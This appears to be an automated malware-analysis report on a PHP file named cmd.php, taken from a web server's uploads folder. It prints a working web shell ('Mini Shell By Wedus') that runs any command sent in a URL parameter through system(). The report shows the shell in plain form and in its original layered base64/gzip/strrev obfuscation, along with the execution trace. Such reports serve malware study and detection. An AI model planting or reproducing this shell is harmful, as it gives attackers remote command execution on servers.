PHP Malware Analysis

cmd.php

md5: 90aa8b4120db21095ee04020cb86a9f7

Jump to:

Screenshot


Attributes

Encoding

Execution

Input

Title


Deobfuscated PHP code

<?php

// Default Password: WedusCok
$W3dus = "s9ZEAqkp+c4qGmWpRUUlxRpATnJqSryJWWpxYpJGakliTlpeZlU6bnE4q7g4taggNz85rxSdg0MNXFhBT10tvcTaXl0jJ7EsFQA=";
$Code = "Xs+6wTGdzebDJ4T71Q+MElIWR66w+KwUqj7Ym2dhF0Z7XJhGoj+G2L7wC5Qqlb3z7eMUR7smo+xHEkrZS+TQfbfQvjCTY0b1HRH/iNvATmjldGdjKW/Ety4FP8787ZzqupNWiAwSlqvwQFmZeVzxkdXHuIlia16bajqPrgB+cYPGXfQ3rAjvqoIyHz5/J14UFr5h7F1YET1I9kzFqdpv69XMRzDAwG4DNahmqYP6hVRv6Kfil4E0j1v0FaxSnKhNozsgc5w2j0RUtANMSA9Ur3v1OZ/TnC3mi8x9JRXlFtghJGB6tyTs9orcX7ev+F3+qC3gc/ROyZTTg2ajXAePK94Ip021gEc2nuhOzMluZNHCv9/cGgUJXCyQgimGFm6gGxgyuRF4XZKBlwkH45VXlnpzntu4QNW1KpRtYnmqhUtUjQcWLWqGQJ7DQDAAwMklL/cJ";
eval /* PHPDeobfuscator eval output */ {
    ?><!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Mini Shell By Wedus</title>
</head>

<body><center>

    <form>
    <label for="Password"></label>
    <input type="text" name="Wedus" placeholder="Password" />
    <input type="submit" value="Gas" />
    </form>
</center>
</body>
</html>

<?php 
    if (isset($_GET['Wedus'])) {
        echo "<pre>";
        echo system($_GET['Wedus']);
        echo "</pre>";
    }
};

Execution traces

data/traces/90aa8b4120db21095ee04020cb86a9f7_trace-1676257909.4394.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:12:15.337214]
1	0	1	0.000135	393512
1	3	0	0.000191	395136	{main}	1		/var/www/html/uploads/cmd.php	0	0
1		A						/var/www/html/uploads/cmd.php	3	$W3dus = 's9ZEAqkp+c4qGmWpRUUlxRpATnJqSryJWWpxYpJGakliTlpeZlU6bnE4q7g4taggNz85rxSdg0MNXFhBT10tvcTaXl0jJ7EsFQA='
1		A						/var/www/html/uploads/cmd.php	4	$Code = 'Xs+6wTGdzebDJ4T71Q+MElIWR66w+KwUqj7Ym2dhF0Z7XJhGoj+G2L7wC5Qqlb3z7eMUR7smo+xHEkrZS+TQfbfQvjCTY0b1HRH/iNvATmjldGdjKW/Ety4FP8787ZzqupNWiAwSlqvwQFmZeVzxkdXHuIlia16bajqPrgB+cYPGXfQ3rAjvqoIyHz5/J14UFr5h7F1YET1I9kzFqdpv69XMRzDAwG4DNahmqYP6hVRv6Kfil4E0j1v0FaxSnKhNozsgc5w2j0RUtANMSA9Ur3v1OZ/TnC3mi8x9JRXlFtghJGB6tyTs9orcX7ev+F3+qC3gc/ROyZTTg2ajXAePK94Ip021gEc2nuhOzMluZNHCv9/cGgUJXCyQgimGFm6gGxgyuRF4XZKBlwkH45VXlnpzntu4QNW1KpRtYnmqhUtUjQcWLWqGQJ7DQDAAwMklL/cJ'
2	4	0	0.000250	395136	base64_decode	0		/var/www/html/uploads/cmd.php	5	1	's9ZEAqkp+c4qGmWpRUUlxRpATnJqSryJWWpxYpJGakliTlpeZlU6bnE4q7g4taggNz85rxSdg0MNXFhBT10tvcTaXl0jJ7EsFQA='
2	4	1	0.000269	395296
2	4	R			'��D\002�)��*\032e�EE%�\032@NrjJ��Yjqb�FjIbNZ^fU:nq8��8�� 7?9�\024��C\r\\XAO]-���^]#\'�,\025\000'
2	5	0	0.000294	395264	gzinflate	0		/var/www/html/uploads/cmd.php	5	1	'��D\002�)��*\032e�EE%�\032@NrjJ��Yjqb�FjIbNZ^fU:nq8��8�� 7?9�\024��C\r\\XAO]-���^]#\'�,\025\000'
2	5	1	0.000320	395488
2	5	R			';))))))))))))edoC$(verrts(edoced_46esab(etalfnizg(edoced_46esab(etalfnizg(etalfnizg(sserpmocnuzg(sserpmocnuzg(etalfnizg(sserpmocnuzg(etalfnizg .\'&gt;?\'(lave'
2	6	0	0.000340	395328	htmlspecialchars_decode	0		/var/www/html/uploads/cmd.php	5	1	';))))))))))))edoC$(verrts(edoced_46esab(etalfnizg(edoced_46esab(etalfnizg(etalfnizg(sserpmocnuzg(sserpmocnuzg(etalfnizg(sserpmocnuzg(etalfnizg .\'&gt;?\'(lave'
2	6	1	0.000359	395584
2	6	R			';))))))))))))edoC$(verrts(edoced_46esab(etalfnizg(edoced_46esab(etalfnizg(etalfnizg(sserpmocnuzg(sserpmocnuzg(etalfnizg(sserpmocnuzg(etalfnizg .\'>?\'(lave'
2	7	0	0.000378	395360	strrev	0		/var/www/html/uploads/cmd.php	5	1	';))))))))))))edoC$(verrts(edoced_46esab(etalfnizg(edoced_46esab(etalfnizg(etalfnizg(sserpmocnuzg(sserpmocnuzg(etalfnizg(sserpmocnuzg(etalfnizg .\'>?\'(lave'
2	7	1	0.000395	395584
2	7	R			'eval(\'?>\'. gzinflate(gzuncompress(gzinflate(gzuncompress(gzuncompress(gzinflate(gzinflate(base64_decode(gzinflate(base64_decode(strrev($Code))))))))))));'
2	8	0	0.000427	398512	eval	1	'eval(\'?>\'. gzinflate(gzuncompress(gzinflate(gzuncompress(gzuncompress(gzinflate(gzinflate(base64_decode(gzinflate(base64_decode(strrev($Code))))))))))));'	/var/www/html/uploads/cmd.php	5	0
3	9	0	0.000445	398512	strrev	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'Xs+6wTGdzebDJ4T71Q+MElIWR66w+KwUqj7Ym2dhF0Z7XJhGoj+G2L7wC5Qqlb3z7eMUR7smo+xHEkrZS+TQfbfQvjCTY0b1HRH/iNvATmjldGdjKW/Ety4FP8787ZzqupNWiAwSlqvwQFmZeVzxkdXHuIlia16bajqPrgB+cYPGXfQ3rAjvqoIyHz5/J14UFr5h7F1YET1I9kzFqdpv69XMRzDAwG4DNahmqYP6hVRv6Kfil4E0j1v0FaxSnKhNozsgc5w2j0RUtANMSA9Ur3v1OZ/TnC3mi8x9JRXlFtghJGB6tyTs9orcX7ev+F3+qC3gc/ROyZTTg2ajXAePK94Ip021gEc2nuhOzMluZNHCv9/cGgUJXCyQgimGFm6gGxgyuRF4XZKBlwkH45VXlnpzntu4QNW1KpRtYnmqhUtUjQcWLWqGQJ7DQDAAwMklL/cJ'
3	9	1	0.000469	399056
3	9	R			'Jc/LlkMwAADQD7JQGqWLWcQjUtUhqmnYtRpK1WNQ4utnzpnlXV54HkwlBKZX4FRuygxGg6mFGmigQyCXJUgGc/9vCHNZulMzOhun2cEg120pI49KPeAXja2gTTZyOR/cg3Cq+3F+ve7Xcro9sTyt6BGJhgtFlXRJ9x8im3CnT/ZO1v3rU9ASMNAtUR0j2w5cgszoNhKnSxaF0v1j0E4lifK6vRVh6PYqmhaND4GwADzRMX96vpdqFzk9I1TEY1F7h5rFU41J/5zHyIoqvjAr3QfXGPYc+BgrPqjab61ailIuHXdkxzVeZmFQwvqlSwAiWNpuqzZ7878PF4ytE/WKjdGdljmTAvNi/HRH1b0YTCjvQfbfQT+SZrkEHx+oms7RUMe7z3blqQ5Cw7L2G+joGhJX7Z0Fhd2mY7jqUwK+w66RWIlEM+Q17T4JDbezdGTw6+sX'
3	10	0	0.000494	399024	base64_decode	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'Jc/LlkMwAADQD7JQGqWLWcQjUtUhqmnYtRpK1WNQ4utnzpnlXV54HkwlBKZX4FRuygxGg6mFGmigQyCXJUgGc/9vCHNZulMzOhun2cEg120pI49KPeAXja2gTTZyOR/cg3Cq+3F+ve7Xcro9sTyt6BGJhgtFlXRJ9x8im3CnT/ZO1v3rU9ASMNAtUR0j2w5cgszoNhKnSxaF0v1j0E4lifK6vRVh6PYqmhaND4GwADzRMX96vpdqFzk9I1TEY1F7h5rFU41J/5zHyIoqvjAr3QfXGPYc+BgrPqjab61ailIuHXdkxzVeZmFQwvqlSwAiWNpuqzZ7878PF4ytE/WKjdGdljmTAvNi/HRH1b0YTCjvQfbfQT+SZrkEHx+oms7RUMe7z3blqQ5Cw7L2G+joGhJX7Z0Fhd2mY7jqUwK+w66RWIlEM+Q17T4JDbezdGTw6+sX'
3	10	1	0.000519	399568
3	10	R			'%�˖C0\000\000�\017�P\032��Y�#R�!�iص\032J�cP��gΙ�]^x\036L%\004�W�Tn�\fF���\032h�C �%H\006s�o\bsY�S3:\033�� �m)#�J=�\027���M6r9\037܃p��q~���r�=�<��\021��\vE�tI�\037"�p�O�N��S�\0220�-Q\035#�\016\\���6\022�K\026��c�N%��\025a�*�\026�\017��\000<�1z��j\0279=#T�cQ{���S�I���Ȋ*�0+�\a�\030�\034�\030+>��o�Z�R.\035wd�5^faP��K\000"X�n�6{�\017\027��\023���ѝ�9�\002�b�tGս\030L(�A��A?�f�\004\037\037����Pǻ�v�\016Bò�\033��\032\022W�\005�ݦc��S\002�î�X�D3�5�>\t\r��td���\027'
3	11	0	0.000571	399024	gzinflate	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'%�˖C0\000\000�\017�P\032��Y�#R�!�iص\032J�cP��gΙ�]^x\036L%\004�W�Tn�\fF���\032h�C �%H\006s�o\bsY�S3:\033�� �m)#�J=�\027���M6r9\037܃p��q~���r�=�<��\021��\vE�tI�\037"�p�O�N��S�\0220�-Q\035#�\016\\���6\022�K\026��c�N%��\025a�*�\026�\017��\000<�1z��j\0279=#T�cQ{���S�I���Ȋ*�0+�\a�\030�\034�\030+>��o�Z�R.\035wd�5^faP��K\000"X�n�6{�\017\027��\023���ѝ�9�\002�b�tGս\030L(�A��A?�f�\004\037\037����Pǻ�v�\016Bò�\033��\032\022W�\005�ݦc��S\002�î�X�D3�5�>\t\r��td���\027'
3	11	1	0.000630	399504
3	11	R			'ASsB1P4BJgHZ/nicARsB5P54nAEQAe/+AQsB9P54nAEAAf/+bVBRS8MwEH4f7D+cQdj2IHkVTCOoY0/iwIGIyEjbKwkkbWiuahH/uzFdRyney12+7+7LdycuHp7uD6/7LWhyVi4X4pxRlTFDDOGQFBRatQEpYx1VV9ds5MiQRfloagPPGq2Fux5esOyC4AMVtfhJLJZ5U/ZSFFgTtglJIlXTulHQqhwtRCRjexXCZ9OWTAqe4LHH1L4joN5jxgi/iEGtXKzTxwy8VQXqxpY4FQH+33jocmeiwIeyXXzuVJg08pMxwc+OBU8rpK2GU8Xy1ms/LmOqtQnxUOvL4257eFslT6v3zeZ74P8CC90AE75FyW5mcOgDoZtPz7uY4NPpn+XiFynsflVpvYVP3w+KXA=='
3	12	0	0.000657	398960	base64_decode	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'ASsB1P4BJgHZ/nicARsB5P54nAEQAe/+AQsB9P54nAEAAf/+bVBRS8MwEH4f7D+cQdj2IHkVTCOoY0/iwIGIyEjbKwkkbWiuahH/uzFdRyney12+7+7LdycuHp7uD6/7LWhyVi4X4pxRlTFDDOGQFBRatQEpYx1VV9ds5MiQRfloagPPGq2Fux5esOyC4AMVtfhJLJZ5U/ZSFFgTtglJIlXTulHQqhwtRCRjexXCZ9OWTAqe4LHH1L4joN5jxgi/iEGtXKzTxwy8VQXqxpY4FQH+33jocmeiwIeyXXzuVJg08pMxwc+OBU8rpK2GU8Xy1ms/LmOqtQnxUOvL4257eFslT6v3zeZ74P8CC90AE75FyW5mcOgDoZtPz7uY4NPpn+XiFynsflVpvYVP3w+KXA=='
3	12	1	0.000682	399440
3	12	R			'\001+\001�\001&\001�x�\001\033\001�x�\001\020\001�\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~Ui��O�\017�\\'
3	13	0	0.000731	398960	gzinflate	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'\001+\001�\001&\001�x�\001\033\001�x�\001\020\001�\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~Ui��O�\017�\\'
3	13	1	0.000777	399376
3	13	R			'\001&\001�x�\001\033\001�x�\001\020\001�\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~Ui��O�\017�\\'
3	14	0	0.000824	398896	gzinflate	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'\001&\001�x�\001\033\001�x�\001\020\001�\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~Ui��O�\017�\\'
3	14	1	0.000868	399248
3	14	R			'x�\001\033\001�x�\001\020\001�\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~Ui��O�\017�\\'
3	15	0	0.000914	398832	gzuncompress	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'x�\001\033\001�x�\001\020\001�\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~Ui��O�\017�\\'
3	15	1	0.000958	399184
3	15	R			'x�\001\020\001�\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~Ui��O'
3	16	0	0.001006	398832	gzuncompress	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'x�\001\020\001�\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~Ui��O'
3	16	1	0.001049	399184
3	16	R			'\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~U'
3	17	0	0.001092	398832	gzinflate	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'\001\v\001�x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~U'
3	17	1	0.001133	399184
3	17	R			'x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~U'
3	18	0	0.001175	398832	gzuncompress	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'x�\001\000\001��mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027)�~U'
3	18	1	0.001215	399184
3	18	R			'mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027'
3	19	0	0.001255	398832	gzinflate	0		/var/www/html/uploads/cmd.php(5) : eval()'d code	1	1	'mPQK�0\020~\037�?�A� y\025L#�cO���H�+\t$mh�j\021��1]G)��]����w\'.\036��\017��-hrV.\027�Q�1C\f�\024\024Z�\001)c\035UW�l�ȐE�hj\003�\032���\036^���\003\025��I,�yS�R\024X\023�\tI"UӺQЪ\034-D$c{\025�gӖL\n���Ծ#��c�\b��A�\\���\f�U\005�Ɩ8\025\001��x�rg����]|�T�4�1�ώ\005O+���S���k?.c��\t�P���n{x[%O����{�\002\v�\000\023�E�nfp�\003��Oϻ������\027'
3	19	1	0.001301	399376
3	19	R			'<!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta charset="utf-8">\r\n    <title>Mini Shell By Wedus</title>\r\n</head>\r\n\r\n<body><center>\r\n\r\n    <form>\r\n    <label for="Password"></label>\r\n    <input type="text" name="Wedus" placeholder="Password" />\r\n    <input type="submit" value="Gas" />\r\n    </form>\r\n</center>\r\n</body>\r\n</html>\r\n\r\n<?php\r\n\r\n    if(isset($_GET[\'Wedus\'])){\r\n        echo "<pre>";\r\n        echo system($_GET[\'Wedus\']);\r\n        echo "</pre>";\r\n    }\r\n'
3	20	0	0.001347	401280	eval	1	'?><!DOCTYPE html>\r\n<html>\r\n<head>\r\n    <meta charset="utf-8">\r\n    <title>Mini Shell By Wedus</title>\r\n</head>\r\n\r\n<body><center>\r\n\r\n    <form>\r\n    <label for="Password"></label>\r\n    <input type="text" name="Wedus" placeholder="Password" />\r\n    <input type="submit" value="Gas" />\r\n    </form>\r\n</center>\r\n</body>\r\n</html>\r\n\r\n<?php\r\n\r\n    if(isset($_GET[\'Wedus\'])){\r\n        echo "<pre>";\r\n        echo system($_GET[\'Wedus\']);\r\n        echo "</pre>";\r\n    }\r\n'	/var/www/html/uploads/cmd.php(5) : eval()'d code	1	0
3	20	1	0.001378	401280
2	8	1	0.001385	399632
1	3	1	0.001393	396336
			0.001419	315632
TRACE END   [2023-02-13 01:12:15.338525]


Generated HTML code

<html><head>
    <meta charset="utf-8">
    <title>Mini Shell By Wedus</title>
</head>

<body><center>

    <form>
    <label for="Password"></label>
    <input type="text" name="Wedus" placeholder="Password">
    <input type="submit" value="Gas">
    </form>
</center>



</body></html>

Original PHP code

<?php
// Default Password: WedusCok
$W3dus = "s9ZE\x41qkp\x2b\x634qGmWpRUUlxRp\x41TnJqSryJWWpxYpJG\x61kliTlpeZlU6\x62nE4q7g4t\x61ggNz85rxSdg0MNXFh\x42T10tv\x63T\x61Xl0jJ7EsFQ\x41\x3d";
$Code = "Xs\x2b6wTGdze\x62DJ4T71Q\x2bMElIWR66w\x2bKwUqj7Ym2dhF0Z7XJhGoj\x2bG2L7w\x435Qql\x623z7eMUR7smo\x2bxHEkrZS\x2bTQf\x62fQvj\x43TY0\x621HRH/iNv\x41TmjldGdjKW/Ety4FP8787ZzqupNWi\x41wSlqvwQFmZeVzxkdXHuIli\x6116\x62\x61jqPrg\x42\x2b\x63YPGXfQ3r\x41jvqoIyHz5/J14UFr5h7F1YET1I9kzFqdpv69XMRzD\x41wG4DN\x61hmqYP6hVRv6Kfil4E0j1v0F\x61xSnKhNozsg\x635w2j0RUt\x41NMS\x419Ur3v1OZ/Tn\x433mi8x9JRXlFtghJG\x426tyTs9or\x63X7ev\x2bF3\x2bq\x433g\x63/ROyZTTg2\x61jX\x41ePK94Ip021gE\x632nuhOzMluZNH\x43v9/\x63GgUJX\x43yQgimGFm6gGxgyuRF4XZK\x42lwkH45VXlnpzntu4QNW1KpRtYnmqhUtUjQ\x63WLWqGQJ7DQD\x41\x41wMklL/\x63J";
eval(strrev(htmlspecialchars_decode(gzinflate(base64_decode($W3dus)))));